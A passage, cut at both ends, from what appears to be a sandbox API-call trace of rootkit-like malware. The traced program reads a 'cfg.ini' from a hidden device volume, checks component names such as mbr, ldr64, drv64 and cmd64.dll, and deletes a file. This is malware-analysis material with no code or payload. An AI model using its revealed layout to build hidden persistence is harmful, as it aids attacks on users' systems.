AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.981] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.981] IdePortDispatch () returned 0x103 [0120.981] KeWaitForMutexObject () returned 0x0 [0120.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.981] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.981] IdePortDispatch () returned 0x103 [0120.981] KeWaitForMutexObject () returned 0x0 [0120.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] KeLeaveCriticalRegion () [0120.982] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.982] KeEnterCriticalRegion () [0120.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] KeLeaveCriticalRegion () [0120.982] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.982] KeEnterCriticalRegion () [0120.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.982] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] KeLeaveCriticalRegion () [0120.982] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.982] KeEnterCriticalRegion () [0120.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] ExFreePoolWithTag (P=0xfffffa8003bbd0f0, Tag=0x0) [0120.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.982] KeLeaveCriticalRegion () [0120.982] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.983] ReleaseMutex (hMutex=0xf0) returned 1 [0120.983] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.983] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.983] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.983] KeEnterCriticalRegion () [0120.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.983] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.983] IdePortDispatch () returned 0x103 [0120.983] KeWaitForMutexObject () returned 0x0 [0120.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.983] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.983] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.983] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.983] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.983] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f470 [0120.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.983] KeLeaveCriticalRegion () [0120.983] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.983] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.983] KeEnterCriticalRegion () [0120.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.983] KeLeaveCriticalRegion () [0120.983] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.983] KeEnterCriticalRegion () [0120.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.983] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.983] IdePortDispatch () returned 0x103 [0120.984] KeWaitForMutexObject () returned 0x0 [0120.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.984] KeLeaveCriticalRegion () [0120.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.984] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.984] KeEnterCriticalRegion () [0120.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003537000 [0120.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.984] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.984] IdePortDispatch () returned 0x103 [0120.984] KeWaitForMutexObject () returned 0x0 [0120.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.985] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.985] IdePortDispatch () returned 0x103 [0120.985] KeWaitForMutexObject () returned 0x0 [0120.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.985] KeLeaveCriticalRegion () [0120.985] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.985] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.985] KeEnterCriticalRegion () [0120.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.985] KeLeaveCriticalRegion () [0120.985] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.985] KeEnterCriticalRegion () [0120.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.985] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.985] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.985] KeLeaveCriticalRegion () [0120.985] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.986] KeEnterCriticalRegion () [0120.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.986] ExFreePoolWithTag (P=0xfffffa8003b9f470, Tag=0x0) [0120.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.986] KeLeaveCriticalRegion () [0120.986] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.986] ReleaseMutex (hMutex=0xf0) returned 1 [0120.986] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.986] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.986] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.986] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.986] KeEnterCriticalRegion () [0120.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.986] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.986] IdePortDispatch () returned 0x103 [0120.986] KeWaitForMutexObject () returned 0x0 [0120.986] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.986] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.986] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.986] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.986] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.986] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.986] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.986] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.986] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.986] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.986] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.986] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.986] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.986] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.986] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.986] KeLeaveCriticalRegion () [0120.986] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.986] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.987] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.987] KeEnterCriticalRegion () [0120.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.987] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.987] IdePortDispatch () returned 0x103 [0120.987] KeWaitForMutexObject () returned 0x0 [0120.987] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.987] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.987] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.987] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.987] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.987] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.987] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.987] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.987] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.987] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.987] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.987] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.987] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.987] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.987] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.987] KeLeaveCriticalRegion () [0120.987] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.987] ReleaseMutex (hMutex=0x100) returned 1 [0120.987] Sleep (dwMilliseconds=0x2bf20) [0120.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b504050, dwHighDateTime=0x1d24fa4)) [0120.993] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.993] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.993] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.994] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.994] KeEnterCriticalRegion () [0120.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.994] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.994] IdePortDispatch () returned 0x103 [0120.994] KeWaitForMutexObject () returned 0x0 [0120.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc93b0 [0120.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.994] KeLeaveCriticalRegion () [0120.994] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.994] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.994] KeEnterCriticalRegion () [0120.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.994] KeLeaveCriticalRegion () [0120.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.994] KeEnterCriticalRegion () [0120.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.994] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.994] IdePortDispatch () returned 0x103 [0120.994] KeWaitForMutexObject () returned 0x0 [0120.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.995] KeLeaveCriticalRegion () [0120.995] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.995] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.995] KeEnterCriticalRegion () [0120.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353a000 [0120.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.995] IdePortDispatch () returned 0x103 [0120.995] KeWaitForMutexObject () returned 0x0 [0120.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.995] IdePortDispatch () returned 0x103 [0120.995] KeWaitForMutexObject () returned 0x0 [0120.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.995] KeLeaveCriticalRegion () [0120.995] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.996] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.996] KeEnterCriticalRegion () [0120.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] KeLeaveCriticalRegion () [0120.996] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.996] KeEnterCriticalRegion () [0120.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.996] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] KeLeaveCriticalRegion () [0120.996] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.996] KeEnterCriticalRegion () [0120.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] ExFreePoolWithTag (P=0xfffffa8003bc93b0, Tag=0x0) [0120.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] KeLeaveCriticalRegion () [0120.996] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.996] ReleaseMutex (hMutex=0xf0) returned 1 [0120.996] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.996] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.996] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.996] KeEnterCriticalRegion () [0120.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.996] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.996] IdePortDispatch () returned 0x103 [0120.997] KeWaitForMutexObject () returned 0x0 [0120.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.997] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.997] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.997] strncpy (in: _Dest=0xfffffa80027daf68, 